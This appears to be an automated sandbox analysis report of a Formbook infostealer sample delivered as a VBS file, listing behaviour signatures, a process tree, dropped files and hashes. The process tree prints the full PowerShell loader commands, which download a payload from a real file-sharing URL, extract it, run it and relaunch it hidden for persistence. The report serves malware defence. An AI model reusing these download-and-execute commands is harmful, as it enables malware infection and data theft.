Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    09/06/2026, 13:40

General

  • Target
    567187.vbs
  • Size 178KB
  • Sample260609-qyzsvaa181
  • SHA256 e50e2fd4c61ba461a322f1d5a0e902983af962b3937e12c285e0e2c14c8319ed
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • Formbook payload 2 IoCs
  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Start PowerShell.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 14 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\567187.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4792
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=$null;Add-Type -AssemblyName Microsoft.VisualBasic;[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$z=Join-Path $env:PUBLIC 'Downloads\python312x86.zip';$e=Join-Path $env:USERPROFILE 'AppData\Roaming\Templates';if(Test-Path $z){Remove-Item $z -Force};$v=[Microsoft.VisualBasic.Interaction]::CallByName((&{$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36');$w.Headers.Add('Referer','https://www.filemail.com/');$w}),'DownloadFile',[Microsoft.VisualBasic.CallType]::Method,'https://2111.filemail.com/api/file/get?filekey=naIqb7nG5KSfHo02gt3gDl3TB19fuVb7j1R_6zap6Y8EFWdYchODoyvdGtw',$z);if(Test-Path $e){Remove-Item $e -Recurse -Force};New-Item -Path $e -ItemType Directory -Force;Add-Type -AssemblyName System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($z,$e);$p=Join-Path $e 'python312x86\python.exe';$s=Join-Path $e 'python312x86\Protected.py';Start-Process -FilePath $p -ArgumentList $s -WorkingDirectory (Split-Path $s);Remove-Item $z -Force"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:820
      • C:\Users\Admin\AppData\Roaming\Templates\python312x86\python.exe
        "C:\Users\Admin\AppData\Roaming\Templates\python312x86\python.exe" C:\Users\Admin\AppData\Roaming\Templates\python312x86\Protected.py
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4564
        • C:\Program Files (x86)\Windows Mail\wab.exe
          "C:\Program Files (x86)\Windows Mail\wab.exe"
          4⤵
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          PID:3860
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command $e=Join-Path $env:USERPROFILE 'AppData\Roaming\Templates\python312x86';$p=Join-Path $e 'pythonw.exe';$s=Join-Path $e 'Protected.py';if((Test-Path $p)-and(Test-Path $s)){Start-Process $p $s -WorkingDirectory $e}
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5988
    • C:\Users\Admin\AppData\Roaming\Templates\python312x86\pythonw.exe
      "C:\Users\Admin\AppData\Roaming\Templates\python312x86\pythonw.exe" C:\Users\Admin\AppData\Roaming\Templates\python312x86\Protected.py
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5152
      • C:\Program Files (x86)\Windows Mail\wab.exe
        "C:\Program Files (x86)\Windows Mail\wab.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        PID:2672
  • C:\Windows\SysWOW64\systray.exe
    "C:\Windows\SysWOW64\systray.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    PID:4056
  • C:\Windows\SysWOW64\systray.exe
    "C:\Windows\SysWOW64\systray.exe"
    1⤵
    • Adds policy Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:4860

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 60KB
        • SHA256 e3fd18445fcdd467ffa7216efbce6343d5aed5ff12f9b5f971018117c6dc9dc2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 ca7e83bdbe0f6e7fa0f0b9ade9a9fbef7a7f2f6c7aa56723b3b33a9814a97915
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_4y4ng0mm.lj1.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4y4ng0mm.lj1.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        AES.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Cipher\AES.py
        • Size 9KB
        • SHA256 24af7918b87ca1c3025348200ade01b17a2c8310237ac25d097d266cff577fd6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __init__.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Cipher\__init__.py
        • Size 3KB
        • SHA256 d473aba5b1d98b834c34bb3b734e2495055bcddb0d5660f058f73cd759db633f
        • MD5 SHA1 SHA512 TLSH

        AES.cpython-312.pyc

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Cipher\__pycache__\AES.cpython-312.pyc
        • Size 8KB
        • SHA256 b51e62c1cf8e37d9f80298be47f46a6ccdfaf068f4ed00bb755430431c1a60cd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __init__.cpython-312.pyc

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Cipher\__pycache__\__init__.cpython-312.pyc
        • Size 2KB
        • SHA256 e7b04759c79872f1232590d32347ecd7599af1b5e6f9a68e948ab7eb6018abd6
        • MD5 SHA1 SHA512 TLSH

        _mode_cbc.cpython-312.pyc

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Cipher\__pycache__\_mode_cbc.cpython-312.pyc
        • Size 9KB
        • SHA256 8333c1951288df26e9200b64640b82c5ec71ee43148a901e73ba6e69d2be23ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _mode_cbc.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Cipher\_mode_cbc.py
        • Size 10KB
        • SHA256 4707cd383304e7b5a84330f45eb3e49c72e905072e825859b54d033c87a0afe7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _raw_aes.pyd

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Cipher\_raw_aes.pyd
        • Size 29KB
        • SHA256 a1f0a6681fda475577f5aac13b8462df2e8ffd5a9d3796158012ba310d93e472
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _raw_aesni.pyd

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Cipher\_raw_aesni.pyd
        • Size 12KB
        • SHA256 05fda2506a5abee6724d72515a1c5f411f37d56f37d90eb1096507e593158b4e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _raw_cbc.pyd

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Cipher\_raw_cbc.pyd
        • Size 9KB
        • SHA256 3c44bc8f554df115db5ed04e90ffa18b45fd31057ce80c8fe07c0809aa554642
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __init__.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Random\__init__.py
        • Size 1KB
        • SHA256 05e8d3e5d2b18c1731189db337b04cb83e966dc385930836fa22e9ee0f376fb9
        • MD5 SHA1 SHA512 TLSH

        __init__.cpython-312.pyc

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Random\__pycache__\__init__.cpython-312.pyc
        • Size 1KB
        • SHA256 ebe2f46e8a0b75f30b25fb5a36b49eb1da4500131404330b97b3d8ee6ef78ebc
        • MD5 SHA1 SHA512 TLSH

        Padding.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\Padding.py
        • Size 4KB
        • SHA256 2909193fed3f1748b393bbf2797e7b2379ff88e2289ef732e6b000b4b1b65adc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __init__.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\__init__.py
        • Size 1KB
        • SHA256 98831540f44ab7137a0de53a8a8c818dec32f0dc9c2731912424aecce04c07fa
        • MD5 SHA1 SHA512 TLSH

        Padding.cpython-312.pyc

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\__pycache__\Padding.cpython-312.pyc
        • Size 3KB
        • SHA256 73217a1cc126749d2c1e3a1f2f0628715cdbbe8c9a5a0cc86fa7e47dd8e91739
        • MD5 SHA1 SHA512 TLSH

        __init__.cpython-312.pyc

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\__pycache__\__init__.cpython-312.pyc
        • Size 1KB
        • SHA256 87e334a0385572e482a4afbc7c4dc378f6b4ccc1e19f1e6c88352f0dc9420558
        • MD5 SHA1 SHA512 TLSH

        _cpu_features.cpython-312.pyc

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\__pycache__\_cpu_features.cpython-312.pyc
        • Size 855B
        • SHA256 6e7a58026a1da3530960acf12ce63875335805ea27c04c384e8be44949a89a88
        • MD5 SHA1 SHA512 TLSH

        _file_system.cpython-312.pyc

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\__pycache__\_file_system.cpython-312.pyc
        • Size 1KB
        • SHA256 38e2449a8d36a1a8ac429e4622e0a857508a4edca1afbc3f52a2ccf3f83a3b8e
        • MD5 SHA1 SHA512 TLSH

        _raw_api.cpython-312.pyc

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\__pycache__\_raw_api.cpython-312.pyc
        • Size 12KB
        • SHA256 12bdcd7e33b117c57180524674053dce54604742883e8b82e3d684f49b097972
        • MD5 SHA1 SHA512 SSDEEP TLSH

        py3compat.cpython-312.pyc

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\__pycache__\py3compat.cpython-312.pyc
        • Size 6KB
        • SHA256 a98a5291595d1af8df15f5284422fbfd2cac8d8592afb5c7326c4ad770c0bad9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _cpu_features.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\_cpu_features.py
        • Size 1KB
        • SHA256 38d65295dd3e4506c462350e7766fb7d16635cc7e6a234fe0e4b14c7af6089c6
        • MD5 SHA1 SHA512 TLSH

        _cpuid_c.pyd

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\_cpuid_c.pyd
        • Size 8KB
        • SHA256 812b54d7640d7047fb881bfce48027f703a5b67f68f6dcc50a8bb79564edb95c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _file_system.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\_file_system.py
        • Size 2KB
        • SHA256 b8ff883aa293f99710ea591a58aa8d0d03feeedd5aa49c560b60a05fd3d413e1
        • MD5 SHA1 SHA512 TLSH

        _raw_api.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\_raw_api.py
        • Size 10KB
        • SHA256 67e1b4e201861f9a86e2db1e548909cdee46892cdce59b3575cd9c7ff755bd54
        • MD5 SHA1 SHA512 SSDEEP TLSH

        py3compat.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\Util\py3compat.py
        • Size 5KB
        • SHA256 2cf7955872d7d8a23f12b9340ac867e8e342102fed7b80dba25b6303d7992155
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __init__.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\__init__.py
        • Size 191B
        • SHA256 080587f7e7e526e6a975fade2bb27ca6200a0dd830254fdd0f1c036e16fc857d
        • MD5 SHA1 SHA512 TLSH

        __init__.cpython-312.pyc

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Crypto\__pycache__\__init__.cpython-312.pyc
        • Size 466B
        • SHA256 fdb25297e196e5fbddf8f95019d9b61e08d143de2387719ad7032694f50e4ebc
        • MD5 SHA1 SHA512 TLSH

        Protected.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Protected.py
        • Size 132KB
        • SHA256 eea41edea1a105fbc3a0023fdabbd54a24203a69f81a2afaecfeebcb6298424a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Readme.txt

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\Readme.txt
        • Size 334KB
        • SHA256 73012a18d37345cb827657b044d49b2db08a74894a31a5980f762cc13a157adc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _builtin_.cpython-312.pyc

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\__pycache__\_builtin_.cpython-312.pyc
        • Size 1KB
        • SHA256 7f53ead23476755a5bd8c01095396a2587242d2db6dbe1d8ec3dd4611f6fff27
        • MD5 SHA1 SHA512 TLSH

        _builtin_.py

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\_builtin_.py
        • Size 1KB
        • SHA256 356921d046f3d235e92bc40e1dd1c30c69286bc4dbde2ab2bf2362ec382c6618
        • MD5 SHA1 SHA512 TLSH

        _ctypes.pyd

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\_ctypes.pyd
        • Size 110KB
        • SHA256 ef70acd50b7aaabd1acb9da8aa8810b6d32bafb57ab939ec6f48a0f199dea1c0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libffi-8.dll

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\libffi-8.dll
        • Size 34KB
        • SHA256 b982741576a050860c3f3608c7b269dbd35ab296429192b8afa53f1f190069c0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python.exe

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\python.exe
        • Size 99KB
        • SHA256 fa017eb4ba5cbe2d80e1af22cc4012fecace79b9ab8b280cab3c933b07f4ec13
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python312.dll

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\python312.dll
        • Size 5.6MB
        • SHA256 088de3269576ddcf29a615b4ddcd3af36678cd6e0335cce3d55d3d6c3876abd0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python312.zip

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\python312.zip
        • Size 3.6MB
        • SHA256 a26787adcf2a62de16368db1b134c5369e0f29de0cc0f88c9d0dfd643bb8f231
        • MD5 SHA1 SHA512 SSDEEP TLSH

        pythonw.exe

        • Path C:\Users\Admin\AppData\Roaming\Templates\python312x86\pythonw.exe
        • Size 97KB
        • SHA256 aa4d709cb0cc6c7d9029eb23df8669e246daf5f297a3e0f4878f352538624ec3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/820-27-0x0000000004BF0000-0x0000000004BFA000-memory.dmp

        memory/820-3-0x0000000004F30000-0x000000000555A000-memory.dmp

        memory/820-17-0x0000000006220000-0x000000000623A000-memory.dmp

        memory/820-28-0x0000000007AB0000-0x0000000007AC2000-memory.dmp

        memory/820-16-0x0000000007410000-0x0000000007A8A000-memory.dmp

        memory/820-15-0x0000000005D00000-0x0000000005D4C000-memory.dmp

        memory/820-14-0x0000000005CD0000-0x0000000005CEE000-memory.dmp

        memory/820-13-0x0000000005800000-0x0000000005B57000-memory.dmp

        memory/820-19-0x0000000007220000-0x00000000072B6000-memory.dmp

        memory/820-0-0x0000000002500000-0x0000000002510000-memory.dmp

        memory/820-5-0x0000000004EB0000-0x0000000004F16000-memory.dmp

        memory/820-6-0x0000000005690000-0x00000000056F6000-memory.dmp

        memory/820-4-0x0000000004D10000-0x0000000004D32000-memory.dmp

        memory/820-18-0x0000000007180000-0x000000000721C000-memory.dmp

        memory/820-20-0x0000000006CA0000-0x0000000006CC2000-memory.dmp

        memory/820-21-0x0000000008040000-0x00000000085E6000-memory.dmp

        memory/820-22-0x0000000002500000-0x0000000002510000-memory.dmp

        memory/820-1-0x0000000002510000-0x0000000002546000-memory.dmp

        memory/820-2-0x0000000002500000-0x0000000002510000-memory.dmp

        memory/3860-1221-0x0000000000400000-0x0000000000446000-memory.dmp

        memory/3860-1220-0x0000000001200000-0x0000000001254000-memory.dmp

        memory/3860-1267-0x0000000002E80000-0x0000000002EC6000-memory.dmp

        memory/4860-1270-0x00000000005A0000-0x00000000005E3000-memory.dmp

        memory/4860-1272-0x00000000005A0000-0x00000000005E3000-memory.dmp

        memory/5988-1228-0x000001E520BA0000-0x000001E520BC2000-memory.dmp

        memory/5988-1236-0x000001E507D40000-0x000001E508802000-memory.dmp